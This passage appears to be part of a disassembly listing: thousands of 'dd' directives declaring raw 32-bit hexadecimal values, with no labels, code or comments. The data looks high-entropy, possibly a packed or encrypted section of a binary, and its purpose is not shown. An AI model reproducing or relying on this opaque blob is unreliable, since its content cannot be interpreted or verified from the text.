0AD7C599Fh dd 0C3A44B8Ch, 34B51E16h, 0D36810E0h, 95E348h, 42E30C6Eh dd 30E9EB21h, 0D7C7796h, 37002C7Fh, 0CB440558h, 0A2319F94h dd 46B880A4h, 0EB6AA05Ch, 0DA2909C1h, 874BBBD3h, 4DCF0559h dd 85F91C80h, 0E1454BCCh, 84BE0407h, 5BAECE41h, 0E909259Ah dd 0B110AEC1h, 151B70BAh, 754C3137h, 0E9D31206h, 0D064C067h dd 0FFE480EDh, 1DDD06D4h, 5AFCB48Dh, 3A8EAD61h, 0BA599E78h dd 2A4ABFC0h, 1260F09h, 0ACFA8F9h, 102083C1h, 7FC52CC1h dd 0B13B637Eh, 0B6836A4h, 0E6256568h, 71D824E0h, 0DACD9D4Ch dd 0F560752Ch, 0FB83EFB0h, 3A41E932h, 2CB2B72Ah, 542D5453h dd 0C760AFACh, 0D44FA7E9h, 4E5F678Ch, 8456E956h, 0E3ACE551h dd 8A6857CBh, 0E65A68DEh, 5AC9C8F8h, 0D0BB31DDh, 0FEDE122Ah dd 0D98A5A3h, 0F467F8E9h, 1A72D765h, 75944A63h, 0E247768Eh dd 36D25A58h, 5C482AC0h dd 628238ECh, 5DD6EE16h, 4B4F7Eh, 79743C18h, 0BECED55h dd 311E01B6h, 8E9FE29h, 0FFA3544Bh, 0BA976CE2h, 5B7DD083h dd 3BE5D1B3h, 0E9AC05FCh, 38FAF2B7h, 85B5D4C6h, 0CAAFD1Ah dd 309144Bh, 0C53F7AB5h, 0ECF4E908h, 4D350293h, 0FF43C35Eh dd 0EE427B04h, 0A05BE8A2h, 0F78ABB91h, 4C6532DBh, 407C46AEh dd 7F9D3039h, 0A528F895h, 4B41519Dh, 0F270EC02h, 420AF3FDh dd 0C220390Dh, 3E774250h, 932F5289h, 0C1FE38C0h, 0DE18639h dd 8D2F6D4h, 0F1801084h, 64A0BFFAh, 0F8288869h, 4022C0Fh dd 18865B5h, 7C4ECAABh, 79B7A925h, 6C7227C9h, 8040820Dh dd 0A92A0C52h, 55C3256Dh, 0AA9279AFh, 0E95F85C0h, 0E12C70CEh dd 0A57C616Fh, 0D55CA738h, 9507F44Fh, 3BD0F7h, 3864DB8h dd 0C00505CCh, 0C2116127h, 7812D90h, 8958E7E9h, 0E0505344h dd 0FE650526h, 985B687Bh, 6D680707h, 0EC770923h, 17EE89DAh dd 0BF19012Eh, 703E15B9h, 6AF54943h, 493F3B3h, 7CC55D8h dd 0DDF1D028h, 492C972Ch, 5845B2h, 40BC584Bh, 0F2A135B2h dd 0CC565266h, 5E776BBEh, 55E499B0h, 9AEE0AC3h, 3121B609h dd 0EA174F58h, 0C60A8471h, 0E60322B9h, 0C1FB478Fh, 0C22206ABh dd 0E0EF3359h, 0CE040B6Ch, 0F6324245h, 0B4F16EEh, 3160FFBAh dd 14B7ECFBh, 0B9C030A9h, 7A9DC117h, 79CB092Fh, 5A0A10E7h dd 0E90130EBh, 34CBEA15h, 0C05AC95Eh, 0EFD6843Bh, 257D8AA6h dd 0DBA66043h, 1807C85Ah, 0F7422661h, 3E02C9Dh, 52474C68h dd 4FE4396Eh, 0A188B96Dh, 0A36EA268h, 0ABE985EDh, 0EDAF26D4h dd 71731016h, 94B1510Eh, 1065F213h, 810367D0h, 0CE3718E3h dd 58C5163Fh, 0E9A0A5B0h, 8C544A0Dh, 464FEDCEh, 0D31089F3h dd 1D307DE8h, 11050A37h, 50D90964h, 7E06D8F7h, 3F80A40h dd 0D7F9810Ch, 966B5A89h, 45D16CDh, 0C58B29Bh, 13EAF85Ch dd 4835413h, 90F69FAEh, 7399BB2Ah, 5D9531E8h, 0B45BA307h dd 0F716835Fh, 1101C63h, 691F4C7Ch, 139EEEDDh, 4C7BCA36h dd 2F9B5C52h, 60F7594Eh, 5167697Eh, 0E213CDFCh, 5A1E4607h dd 0BFF4D025h, 21618165h, 2D205DE8h, 0E4688008h, 5339CA97h dd 181FACCAh, 70EF4B6Ah, 2F1A4616h, 12591EEAh, 0A86C56FAh dd 21045F8Ah, 98FB30DBh, 7B5EEBF2h, 5016B6B6h, 0CB9C0853h dd 0FE930501h, 167BC808h, 1DDF0049h, 90D415Dh, 7876AAB0h dd 2DBB3AE1h, 7E65FD14h, 2F0B3C17h, 75B22B1Ch, 0C9E180B3h dd 8EA97A3Eh, 65B2AF93h, 0B4570B16h, 614BD61Dh, 49A9B08Ch dd 0E8893A50h, 1ADB32E2h, 5D98BEE5h, 966F0256h, 15B1E968h dd 59CC6948h, 7DC7801Ch, 6C4EFCBh, 7833177Eh, 0A85C17EBh dd 0AE50BE53h, 7D5E2F08h, 27DD2C8Bh, 0F0E9E930h, 0A25B9DA8h dd 7E5854E2h, 340BC95Eh, 9E40EC5Dh, 606E9C1Ch, 0CB625758h dd 0F18C90E6h, 87C10655h, 1ACF21EAh, 54B9DC4Ah, 34FD5BCBh dd 0C1E927EAh, 5A667B02h, 37CAF563h, 0A3059DC8h, 4ADE5D00h dd 5FCF0735h, 0F0F8BD9Ch, 0F8E5A0B7h, 940C3674h, 0AE5C6914h dd 546427C2h, 0C2DD69A7h, 1AAE56E0h, 0B5018958h, 64736113h dd 0B30543B5h, 0DE21EEB0h, 8E905D85h, 1E9D6851h, 0D21D586Ch dd 0F617450Ah, 4C681D0h, 0DE6E3069h, 0C484F595h, 84698564h dd 0DEF4BC7Eh, 6F944D12h, 490F8DD1h, 0BC0587BFh, 0BB8030EAh dd 45EE77C1h, 0DC8BFF02h, 0E42E8CC0h, 59BDFE79h, 5EA28BABh dd 0BF1C6577h, 0F4061B17h, 25050EACh, 0F3814C72h, 2EB527C0h dd 0E8D34FF7h, 0B8A84BE6h, 12DC8040h, 0FC2710D6h, 0C6C5692h dd 6D7F5DE9h, 31C001F6h, 0EEC14F2Bh, 383FF907h, 99A04F19h dd 54F77A87h, 7C5CF03Bh, 2EF4B581h, 9A0C0053h, 0E91CF538h dd 61C0BAE1h, 6B7810C3h, 93295D3Ch, 0CBE0841h, 9E7E683Ch dd 7526C3F8h, 0D5EE3F25h, 0E95DFF84h, 0C84584C0h, 72F02107h dd 2C07799Ah, 0B7535A40h, 0D7F60BC9h, 0F102B450h, 157F709Eh dd 544608F2h, 0E701F5ADh, 848DC580h, 0D5F65206h, 0BCD978C1h dd 0C5C4AD2Eh, 0ECB51FF2h, 2AFCC83Fh, 461DC09Eh, 75DCF68Bh dd 7C887BC5h, 12D3DE0h, 295AE3DEh, 0E13ED58Ch, 7FB467A1h dd 0D4A700E8h, 0AA749493h, 0BD830DC7h, 2D100722h, 0FBB470E6h dd 1FD0387Fh, 74A60634h, 0D1DF281h, 4CD00132h, 0A464411h dd 0F1226E0h, 5CCE02E6h, 1E117B9h, 60DAD14Bh, 1E702E69h dd 595C7697h, 2FD56542h, 5DEAB4D0h, 78613C5Fh, 0E955C282h dd 0D97F8256h, 1381C489h, 0FB6C6FFh, 0A8DEFE9Fh, 6CF205AAh dd 0B8290146h, 0C0A9098h, 89035868h, 314140FFh, 6590C27Bh dd 0FD7B4417h, 0D1D7AC05h, 0BD55C4C0h, 2E5D145Ah, 541C820Ch dd 65456DFFh, 0AE442E26h, 0C52CA8BBh, 3E986AA5h, 37BC5B77h dd 0BC614439h, 6AFAC529h, 752A88E3h, 1C4C9585h, 32B1589Dh dd 581CABD2h, 0EB8AE9DFh, 79A227CCh, 823AB236h, 0FB4E7708h dd 4C4CF029h, 988F990Bh, 0C58ED79Fh, 0BEDA6877h, 0C8568533h dd 0EA412DBCh, 0E954C48Bh, 0D253D76Dh, 2E5E1289h, 74DECB62h dd 5CAC8055h, 335B48F8h, 6BFD8EA8h, 20854D81h, 0FEE6F98Fh dd 755D3FC2h, 794B7DD1h, 681F30D6h, 0B7A62642h, 0D6F60F0h dd 911EC98Bh, 0C05D419h, 6D151AF4h, 6A579DAAh, 480D7A78h dd 38A1AE5Dh, 0F1BF049Ch, 1447F413h, 5605C0B9h, 0E2F528E9h dd 0F154F0DBh, 3C039527h, 3C2EB8AFh, 2B92F2ADh, 716FBE41h dd 0A13B4F42h, 5B070285h, 359DECC0h, 8D0B3EE7h, 5FAC06E6h dd 0C3E0B5Ah, 158F612Dh, 0AB458B0h, 9455574Eh, 0DE09C21Ch dd 0D717823Dh, 5BF8E05Ah, 365C031Fh, 4705E7C1h, 0BE5D1405h dd 94EAE6E2h, 4EA6EF02h, 60BB4793h, 0BB61042Fh, 6E8B4BD0h dd 0AE2E608Ah, 40D97973h, 59CE0903h, 0C9F96855h, 0F33A4EDBh dd 4F312444h, 303CC581h, 0F841783Fh, 48306928h, 0A6CC5EE9h dd 20BF7938h, 0E0C05992h, 0E181F607h, 0AA3B1F71h, 0EB80E130h dd 0FD06CAE7h, 7B5710B8h, 0D0FCCE0Fh, 0EAC6A7E6h, 0FCEBF304h dd 394785C1h, 8D3D5B8h, 253B6BFDh, 0F15904B3h, 16730DE4h dd 12771861h, 9095E4F6h, 79E12F70h, 1C05C047h, 0BF06E435h dd 7053B42h, 0D488BB5Fh, 30AACD5Eh, 0EF2C2B0Ch, 0AF69051h dd 14F30737h, 46605AC9h, 59813191h, 4A220E89h, 54FCF3ABh dd 5533391Ah, 3AA61D5Bh, 7525141Ch, 71B27E96h, 5DAC5520h dd 98742D66h, 230530EDh, 0DF55EB0Ah, 4C1EE926h, 0FEDD8797h dd 4A9BBD7Bh, 5B3D2C8Dh, 18108894h, 0DAB80064h, 55C5B4B0h dd 0EFC9E789h, 39348E72h, 6CDB04AFh, 9C8CBE47h, 2FF4BC63h dd 707A6F5Ch, 673AC4A4h, 0C43AAC1Dh, 5E02BEE5h, 7E62CA29h dd 0B9284A76h, 259B8A83h, 0F84F02E9h, 2CC5B372h, 70FB14F7h dd 32B9F657h, 0F418532Ch, 9B425F27h, 58BE50A8h, 7E406968h dd 845B4BE9h, 708BAF76h, 0A43FF013h, 859FC736h, 83DC565Dh dd 8D924AD3h, 386FE501h, 0C7ED5FA4h, 1152FA4Eh, 0E2DBD24Bh dd 7A17DC2Bh, 45175975h, 2F9AE8B5h, 1238505Ah, 0A3774568h dd 6755101Eh, 0BB05BB5Ah, 0D2493E80h, 0CE317FD9h, 0A4893089h dd 7DBBFE40h, 38033D6Bh, 7242B225h, 8B906FFDh, 8D1AF541h dd 2ACA7F40h, 0E13F2828h, 72F63740h, 0FBDA50D2h, 5D92A926h dd 82906B33h, 5601EDC0h, 0F5E80B44h, 55698991h, 7B67DF80h dd 750BB90Ah, 78013F31h, 0F6A9014h, 7A38797Fh, 54ECD4Dh dd 0DEB3FF08h, 0ABC22593h, 0EC713284h, 0B4054CB5h, 9740A54Eh dd 0E57EFD31h, 30A0EC68h dd 20EA28ABh, 215D4578h, 0A3D6130Ch, 298B80ADh, 84C3ECF7h dd 4EE93BA3h, 0EA2F0D49h, 7EA778DEh, 0DEA10597h, 4BD205B5h dd 277CA79Ch, 0F93DA29h, 306C6233h, 882A03Dh, 38454E41h dd 69BC5F6Ch, 8194BDA4h, 4DCF265Eh, 0CB60C3EDh, 97859D95h dd 0D673045Fh, 9F6802BFh, 0B2897170h, 99415823h, 0B9FD890Fh dd 7CDD80F4h, 9059ABBh, 0CB01E718h, 0D0B96C0h, 0C1641002h dd 404702EFh, 64DA627h, 0DAF7791Eh, 0BC1DD84Ah, 1D4D57Ah dd 0B6E9099Fh, 883BD537h, 2F6212D9h, 0BE12638Ah, 8DB3E92Dh dd 0D0C029F6h, 0EE86582Ch, 6655D4Dh, 93BCC10Bh, 0D4326F75h dd 45D7897h, 0BA34CB2Dh, 4516BA15h, 0E94D70FFh, 689210DCh dd 45EACD0Bh, 88340F91h, 0BAEB92BDh, 1F8220C4h, 0B7CC0B79h dd 4AB8525Ah, 37D8E9B0h, 17EF5BC0h, 2FC44AE0h, 27FDFA21h dd 0F2E00705h, 4D3BC7D9h, 9858068Ah, 0EA520212h, 814A30F2h dd 654555Eh, 667F0C70h, 0FD263D0Eh, 265A7413h, 1E0A0DBCh dd 80D95B7Ah, 0C977F381h, 0E912ADF6h, 38BF4810h, 66BB5FF8h dd 15822C64h, 54EF55Dh, 43707471h, 34A8D482h, 9E9C8511h dd 57405C8Eh, 9D5922EDh, 68C12379h, 0E90108E0h, 41663585h dd 5234C691h, 0D480D3BAh, 56F77639h, 4E3CD09Fh, 9DB5164Fh dd 371200Dh, 6C7F4A6Dh, 0BD5B5134h, 0E91C77E6h, 0DF254908h dd 40A421C7h, 6FF15CE4h, 0BD02A41Fh, 3F4A4BD5h, 0D9886974h dd 0C842662h, 0A3F1411Dh, 0F6E33A5Eh, 0EF62C913h, 996BFF79h dd 0BA8A2E16h, 4427CA15h, 71AA1550h, 81430356h, 951FFEE1h dd 425CE1DDh, 207C858Bh, 0E6FE5C12h, 0FBD093C0h, 9E4ED768h dd 357462C0h, 28C798FFh, 0A351D73Bh, 57598B2Dh, 82B5BF6Eh dd 0B205D866h, 18A420BEh, 5B34DA26h, 0EDFCE44Dh, 93333107h dd 44F5684Eh, 8CBC60EBh, 124CB413h, 16B804B3h, 0F0FA7BDFh dd 741286D3h, 0C61C79F3h, 7E784CC0h, 9F6F35E9h, 0D09F0253h dd 27439408h, 2F9FEC7Dh, 2F5FFA8Eh, 0E8530453h, 0EFA728EFh dd 0F1E4BF41h, 0FCC34A88h, 0F5912F74h, 71FD601Ah, 20E20C09h dd 0DA4A363Dh, 0E5FEAC8h, 87DEF75Eh, 9604CD74h, 0EA7EB266h dd 74CFFF90h, 1B7B3372h, 28C1D81Eh, 0B5864040h, 7D4E4215h dd 5E2DEEF2h, 0AF565287h, 0F955B009h, 16BACAD9h, 0EF31BA2Ch dd 0EC6E2A88h, 7EDAB3FEh, 6B9EB51Ah, 0A009F891h, 0DDD4CAC4h dd 0C05D354Ah, 9599BCCAh, 68C1B875h, 6560644Eh, 2A12AFDDh dd 0E97D3CEEh, 6C5BAA2Fh, 3FF14C5Ah, 0EB665927h, 0BD28C322h dd 5172D15Ch, 0A7E98ACBh, 1A55AFF6h, 6727D2Bh, 0B7FD5C68h dd 0CA4FC705h, 65F28F00h, 104A5172h, 292AFE9h, 96098FBAh dd 3CD07511h, 592D6A2Ah, 0B05A5129h, 420B6B24h, 0C569FD2Bh dd 7CC7F9Eh, 0EBC12E5Ch, 3F8A538Dh, 95216465h, 79007C3h dd 50F9885Ah, 62CA4752h, 0E55C5AD4h, 2F42C726h, 82756535h dd 92567C6h, 3C0B6CD8h, 0FD7D0834h, 0D7ED389h, 0EEEC0BA0h dd 0DD2717A3h, 5422545Ah, 0FFBEB2BDh, 7FE308F8h, 172960E0h dd 0AB6C8045h, 5AEDD340h, 0B5014F20h, 6F40DE78h, 31772568h dd 662578DBh, 86816A1h, 2B30EB0Bh, 9DA4442h, 0C3E95F19h dd 25488DE0h, 65E1009h, 0DE160129h, 60FA0957h, 287D28ABh dd 4AD507CFh, 0E0FBFC52h, 0B9097168h, 3B76A5C4h, 0E197821Fh dd 16BBA041h, 823B02D9h, 0EA8FE2DCh, 286D1E61h, 740C800Eh dd 0E929ABBEh, 69436557h, 6AD4FFEBh, 0CBF7F8EBh, 9C769Fh dd 350E4205h, 0D8280145h, 5495072Dh, 9D466271h, 3C5C500Ch dd 0BBCF2FA0h, 0B501FF2Ch, 87240953h, 9F02BC2h, 0A7A859BEh dd 0E6BF77E7h, 506B2010h, 4085F8E7h, 0C0591CC5h, 0C2808403h dd 2996E10Ch, 4998D583h, 62A81B55h, 687D3E32h, 8CCE851h dd 19B85D08h, 38847D4Bh, 0C65056F3h, 0BD688038h, 9035284Ah dd 0FDCFC2A2h, 345B0070h, 30F5B599h, 58D5C1C5h, 7F795368h dd 2C59BD71h, 73FB7DC2h, 0D69FE5A0h, 17E906DCh, 664E5A48h dd 0C30896E0h, 3227EB0Ah, 1A421507h, 0BBC15356h, 353D2931h dd 0C5AEE916h, 4F3DEA8Fh, 9C26CB3Ah, 5C1A2810h, 664012D2h dd 0D9B727F6h, 4CEE8B32h, 80C5B17Fh, 8D8D8C2Eh, 554B1DBAh dd 1CFC2CAEh, 47488195h, 0EDE0DFF7h, 25D7959Fh, 78780C7h dd 0B1CCEC33h, 0EC2A43EBh, 0C7AA755Ah, 0EC5A4B7Fh, 0D82B14B1h dd 754154AFh, 2989B478h, 9553C4FDh, 1B09EBD9h, 0B08C9470h dd 0E9549723h, 0E9846DA9h, 2CB92312h, 0DF8555CFh, 6B78A4F3h dd 64D10200h, 5D5FF829h, 106B9A51h, 160FCE68h, 0F9C41EE9h dd 14D045A0h, 0EE49B875h, 9D529C05h, 5E90937h, 0A5E2628Fh dd 8E5F8A92h, 80C269BCh, 0D1181AAEh, 0E7810058h, 78954F76h dd 0A8A3D7F7h, 0C109889Eh, 0D7DB54A9h, 0E02F4B70h, 0E107D5Eh dd 5389ABFh, 914EFE1Bh, 9EAF1717h, 0E4F64EDCh, 0A4E8EA2Fh dd 8D1EACF3h, 0B7CB3947h, 0A8B6594Eh, 37250B01h, 0B5DA4C02h dd 0DD112A6Bh, 0AF0282CAh, 465D27B7h, 40245E9Dh, 736A758Ch dd 689D5E76h, 729CF66Ch, 0E91D09DAh, 0AC1A171Fh, 69B2C802h dd 0B9D32103h, 8D6A45A3h, 2EFA61B5h, 59F620EFh, 1A5F7268h dd 446B3C32h, 0ABEF07A5h, 0B27FCB2Bh, 0DE55DD32h, 64F240A8h dd 7269B958h, 6D40F728h, 565BEEE9h, 3A0015F2h, 0A3BB0465h dd 6E4F9E7Ch, 0C383CAC0h, 434B28FFh, 5CEC0EA0h, 0C3DE30C7h dd 18D7312h, 91FA180Bh, 0AE987F8Bh, 0A8623BE9h, 59CA305Eh dd 2C5C4994h, 0D8B3E942h, 0B0B80500h, 0EF2D3319h, 6230140Bh dd 0A07B6C52h, 20344845h, 0C570599Dh, 9238BF30h, 614411C1h dd 27BD1855h, 0C00C3CDh, 73FD5E23h, 0C2E158E9h, 0B9F68052h dd 2B8E841h, 0FF56575Ah, 24E828E2h, 4CC8EBC1h, 6A59F2h dd 114D9A86h, 2AEBD15Fh, 0EA017CBDh, 443C2C93h, 420CA01h dd 3809954Ah, 728759D5h, 0FAB1DE5Dh, 5E4858FDh, 0A831FE80h dd 0D59E2566h, 0AA7844C7h, 2E0A8037h, 5A124461h, 65A03AE9h dd 2ADC0FBDh, 844B586Fh, 0AB545042h, 142F5951h, 72316F65h dd 3E5D5824h, 81D700E2h, 397C09DDh, 0D2E9E00Eh, 0ED4CBD46h dd 8725512Ah, 7EDFEE06h, 172F1D23h, 0A315685Bh, 192F78C2h dd 0CE7651Ah, 724C5558h, 0E1E0FC92h, 973D3DB9h, 0DBE4D648h dd 76F295C1h, 0BC40C298h, 63F8BF66h, 2CB40212h, 1DEE0308h dd 0BB8C9740h, 1B28AF89h, 0DDDEFA4Ah, 0F8CFA23Fh, 5D25DD44h dd 0C2164245h, 22D92DEFh, 0BEE41710h, 46DD7E20h, 98634CD6h dd 0EE4D1F01h, 2EFB0147h, 0D695BD34h, 120021Fh, 0D8E1815Eh dd 0DB4E9C2Fh, 8C1908E8h, 1B410D3Bh, 0E127E425h, 88A40C75h dd 517A8402h, 19A7812Dh, 54BF0286h, 83D4ADFBh, 93DDBF39h dd 8EABF1F5h, 0DBB57641h, 677492Dh, 785B748Fh, 343F24FBh dd 5F9D0253h, 5F40096Dh, 382C16AEh, 1030CC2Bh, 60087A06h dd 9EFB0C63h, 9953DE8h, 0BB6F0089h, 17310613h, 0FA5AD721h dd 6EE9A430h, 49C7B66Bh, 0C331BB83h, 0AEA4FEE3h, 0A8ECCADDh dd 0A8CB99D7h, 94555ADEh, 1E44AEEAh, 810023B3h, 1E9419F5h dd 0E8892014h, 12EBB485h, 0B737BB64h, 3EFCDFE4h, 3E3D5CA1h dd 0B10494E3h, 81E037BAh, 20226689h, 0FE4C29C5h, 5F08400Eh dd 0C3BD2097h, 2D374E52h, 3F082905h, 0A3562408h, 5E9E2C8h dd 0F281BEF6h, 173F0F38h, 0E12DFA2Ah, 0EFCD132Bh, 37E9BB42h dd 0A41779A6h, 128400B3h, 0CE8113D0h, 6877A101h, 5E6C171h dd 1D070692h, 3BC3C246h dd 0A2C03DC2h, 422D0BC7h, 416C7605h, 812682E9h, 0C5D1BBB0h dd 7CE9EE41h, 0EB4BB868h, 0F86A6199h, 6A084161h, 116971F9h dd 0F1BD29FDh, 72C02D77h, 7A1EF435h, 9C8910C6h, 262D463Dh dd 0C2533B34h, 0EE74D788h, 0CCFADA53h, 0A040BD5Fh, 5A4D58C5h dd 0F5025A93h, 0C1BFB68h, 15B16C7Eh, 5C42CB02h, 1E76757Fh dd 585F0820h, 49501E5Dh, 88535012h, 424A88ECh, 0BCA47C31h dd 0B93CFA2Bh, 6E22555Bh, 0BAA5912Ah, 7065577Ah, 63A95A1Eh dd 0CFDABE04h, 0B5EECA90h, 2BFB2A7Bh, 712D92h, 4A68520Fh dd 0E4F1C525h, 0ADA9984Fh, 168C955Ah, 0E8684F2Eh, 5EF5F750h dd 0EF4BDCA8h, 0D3D2AA67h, 4951DEDAh, 0EB1AD3D5h, 0DBE5ACC8h dd 9EB281D2h, 0E9EB29C0h, 92952EF7h, 27D1F703h, 70A96858h dd 8671BF13h, 700B5BC8h, 4F06DCB6h, 0D0631E05h, 0C0FCCC59h dd 3C5282A2h, 20CBF407h, 63CE58E5h, 0F3CDFE08h, 0E830B9C5h dd 7B4C4A7Dh, 560DCC16h, 7384BEEBh, 3ABDCFEBh, 739F31E9h dd 9570EBC6h, 7B41F699h, 975D9DA2h, 14963C5Eh, 82DAF26h dd 9DE2B1F4h, 0AEDF763Ah, 63C487Dh, 31711A68h, 4A652F20h dd 3FDFF505h, 0BBA53CF8h, 0E1EDFAF1h, 3E01BE05h, 76B5633Bh dd 2561802Bh, 0A1012354h, 7CDE3537h, 0CAB95BD1h, 67EC268Bh dd 8839ED2h, 929C9AAFh, 0F43F3C58h, 56B70570h, 0CDF2E9DAh dd 0B9F90254h, 986F52B5h, 14640947h, 0A8817617h, 0F6B70BA1h dd 75D162F7h, 0E94180D3h, 0B8C5B36h, 562C2082h, 314F69B8h dd 607309A4h, 685719AFh, 0F82D6655h, 854A8060h, 1C0DF5BDh dd 2724AEE9h, 5BFD3C57h, 0BECDC0ADh, 0EB1E41A4h, 257E310Fh dd 7F42C2E1h, 24AA9EE7h, 27935553h, 2D5A8026h, 179DA2B0h dd 8C22996h, 0B82E7445h, 0DE8F612h, 0CFB9B35Eh, 0A7BF938Fh dd 1FFD13BCh, 593F08BDh, 0A180FC4Eh, 0B193F04Bh, 0D947A5C5h dd 53423AEDh, 772C875Eh, 0CE5989D6h, 0BDB05F8Fh, 53EF014Fh dd 70776CE9h, 10F6749Dh, 1D2B81E9h, 84D9C888h, 0F66F52D7h dd 0C0079AFFh, 8010C1AEh, 383F49B9h, 292D86Fh, 2542660h dd 0D1807746h, 0DB641FF3h, 8391EAB5h, 62E95D67h, 2DE8605Fh dd 0B757C4DFh, 0DE9562DAh, 21507180h, 4F203CC4h, 0BE6A53CCh dd 69B800E6h, 406BAE29h, 0D4D0F72Fh, 5B5A04BAh, 918DEB2Dh dd 6426AA00h, 7C5A23h, 76EE055Dh, 2BFE62Ch, 0DDE957C9h dd 1ABEAEA0h, 204A3E0Dh, 5A376244h, 0F1D31EEh, 0FD10AFF8h dd 66680EA1h, 0C4486C2Dh, 2DD950A2h, 3B88822Ah, 5915261h dd 0BB878B85h, 0B0C5486h, 7A196FAAh, 20A7B788h, 140CD008h dd 0E067F85Bh, 0E56245EEh, 75F98821h, 5AD02800h, 0CDCAFEB5h dd 0A2AB019Ch, 4EA66397h, 85BD28BBh, 10900995h, 80C579F1h dd 0F9B59EB4h, 0EFF5972Eh, 124B76CCh, 635A730h, 8D9A4CF4h dd 0B252E701h, 0A3F28072h, 0E0F3C2CCh, 0CAE912D7h, 89DEB86Ch dd 41D4D156h, 7E7BABE9h, 0E0779ACCh, 0AC6A5B64h, 9CD6D8BEh dd 677A9E74h, 0BB10ACA7h, 46418409h, 4D26F579h, 68073459h dd 646119FAh, 637E658Fh, 3087DDABh, 0F7972DB6h, 0A2974294h dd 449703Bh, 1FB2FA01h, 0FC5F25C4h, 0D065C4A2h, 9768B9BAh dd 0AF0894BBh, 0D2FEF6D4h, 6A405AF3h, 0CE676E14h, 381E5F0h dd 6C256895h, 48241EE0h, 0ED000977h, 0A4FCF82Dh, 336E11E9h dd 0F55DC9C3h, 765596C2h, 63E4EFE5h, 5930EEE5h, 0C5542B68h dd 0CDCE1EBDh, 3FD3CD7Ah, 0A740F717h, 685F5457h, 3358628Ch dd 71FDB666h, 0FB68C171h, 7E55C237h, 33F45ADDh, 0F7867FC2h dd 0F92CD2FBh, 1A05D342h, 1C4EA060h, 0B07AFC2Fh, 0BA9C3DD3h dd 23F13C11h, 0F34A6E17h, 0E294C4BCh, 4AF68100h, 6850E03Ch dd 4EFE13C4h, 0F3016B12h, 5A7B6819h, 198C423Eh, 0B5DE3D10h dd 1A975D44h, 850B9593h, 2DE6DAEFh, 0B1BC7757h, 6AD30CA1h dd 5A43C914h, 0DAB619FBh, 924E7234h, 0F2B567C2h, 5AD13425h dd 2E21B520h, 1E2CCD05h, 1F4300B9h, 9FA4DF3Fh, 0AA5B9666h dd 36FD959Dh, 62D9FDFAh, 2F7A21C9h, 0BDB760Ch, 0F5A1E9F5h dd 308B63D4h, 26B67F3Ah, 3D8D96BCh, 525267FDh, 9CE61D7h dd 46C1DE54h, 880412F7h, 683952BFh, 82CC4F3Fh, 324F12C6h dd 5C25FA36h, 94061ABBh, 5E0C61D7h, 0D8AF736Ah, 0DA507BC6h dd 5841F1E1h, 0E22F66F9h, 1C181079h, 83CB14Ch, 390BD225h dd 0DAC0ED10h, 0E4EBD80h, 456D352Fh, 2E5C120h, 0C990C583h dd 24C43B30h, 955FF368h, 67875B1Ah, 69C03090h, 0AF4FC4E9h dd 0FD58DA22h, 0F48D1704h, 120BF5A9h, 92D5A2Ah, 51D204A4h dd 807835FAh, 0E8199F95h, 0D2755Ch, 0F239675Ch, 49E9FE31h dd 9D4BC77Dh, 590DF444h, 0AA7459Fh, 0B847BE9Ah, 6118C32Fh dd 0C29869B1h, 71634A27h, 8032670h, 511F98A0h, 5BD4A6CDh dd 5791B02Eh, 87CB5D50h, 4E2ECA14h, 0F8EC5FCAh, 8F143E04h dd 93F92D8h, 86817E5Fh, 9CE92F7Fh, 514D9509h, 7FCB7F4Eh dd 40DF1140h, 64BF3C4Bh, 8DE9BEB8h, 0EA691392h, 0B052C2Ch dd 67542ED0h, 182D1805h, 1AE92D07h, 2D387796h, 0A78054F8h dd 0E93F38DFh, 0F3404F38h, 5E6487Fh, 35336A29h, 0A5FE17ABh dd 0E00B04C7h, 2725B884h, 0ED977A79h, 0BD02B978h, 73C102D3h dd 6BA0E25Fh, 0FE3A801h, 6CD1A023h, 8D339450h, 208F2B78h dd 8DB27F0Ch, 1328BA00h, 0ACBE26B2h, 0DBE73F32h, 0E8B5AAFh dd 0BFA588F7h, 66132A02h, 5BC0E112h, 0F05F0502h, 3C5662DAh dd 5877CB7Ch, 0E8595A23h, 1905E036h, 730255Ah, 7098F62h dd 0AB4B7C51h, 2D56DC9Fh, 93AA189Eh, 1A55B382h, 0A1EF8303h dd 0C620E7C1h, 35A44F39h, 0D6E3BA11h, 13C76882h, 27114D7Dh dd 14B88618h, 7AC45501h, 273EC035h, 5C10DDCh, 0E913F229h dd 0B88BE017h, 336FE01h, 677D6843h, 91054736h, 0BA60B67Ch dd 86AF9612h, 4F0108DBh, 81060597h, 84A79C48h, 0CB46BDCh dd 7832E1AAh, 7FC11234h, 522C0BB2h, 13CF10DEh, 0FE16555Fh dd 0BB37C1E1h, 9217F25Bh, 10C77C54h, 0E344DE23h, 0CFBA0052h dd 8173DA3Fh, 83FBBF2h, 608A6E60h, 0E99585E4h, 0F3654A4Bh dd 16B11083h, 7F96E50h, 31CED0ADh, 0FC76D2EBh, 0D22D8979h dd 48452069h, 432780C5h, 0C114B5B7h, 0A51AE6E0h, 4CD72864h dd 0C2FA4F74h, 78D9665Ch, 68CF021Dh, 97F31E28h, 3BB8C850h dd 45C0B81Eh, 7E3338E1h, 85E8BF4h, 716AC5DEh, 48830585h dd 0C7A10096h, 12C626C9h, 0D1DFF709h, 648500E7h, 7B274721h dd 31E91729h, 0B84CB463h, 1F74721Dh, 208B688Fh, 435B76CFh dd 81E300D1h, 739EA5F3h, 0DC2FE9ECh, 0A8DCF147h, 41652071h dd 14F75013h, 41BC1488h, 0B0AD20ADh, 0B735DA40h, 0E62513F4h dd 0B2D783AAh, 52EEDC6Bh, 3B21DB06h, 0E76BBF0Ch, 9D1CC667h dd 0E93BEC5h, 3D2F0EB1h, 68F8841Ch, 0A98C4D88h, 3096B050h dd 0EF7F329Eh, 511D4A9Fh, 9CA80162h, 5EF70888h, 698622C1h dd 0C5847D67h, 0BBBC60E9h, 68C04EB9h, 1F542F75h, 488B5F9Eh dd 0A407AB7h, 0D73B0BBh, 0A52EC7h, 1A5A6874h, 630AB850h dd 8033C707h, 0BD072310h, 0CB40183Ah, 5A3DBD00h, 0D4BD156Eh dd 0AC491248h, 0F0B75A85h, 4BDDBE50h, 0AB26FF3Ch, 2FB460B0h dd 30621FD5h, 0F2CF8102h, 601C8D4Dh, 0E3470652h, 2C29F13Bh dd 9EBA4B36h, 1762344Dh, 61447DC0h, 837A4895h, 831EA220h dd 0AF3E02C3h, 0A5B2AB85h, 8FEF5E59h, 0D1904EA1h, 5882502Bh dd 0E2017E6Ah, 32D85E92h dd 830EBA42h, 0E90D3D01h, 536E6B6h, 0EE1DDDBAh, 73AAA86Bh dd 12A9C25Fh, 0D2400896h, 0C3DA5E1Fh, 0B800C11Fh, 0E58EE504h dd 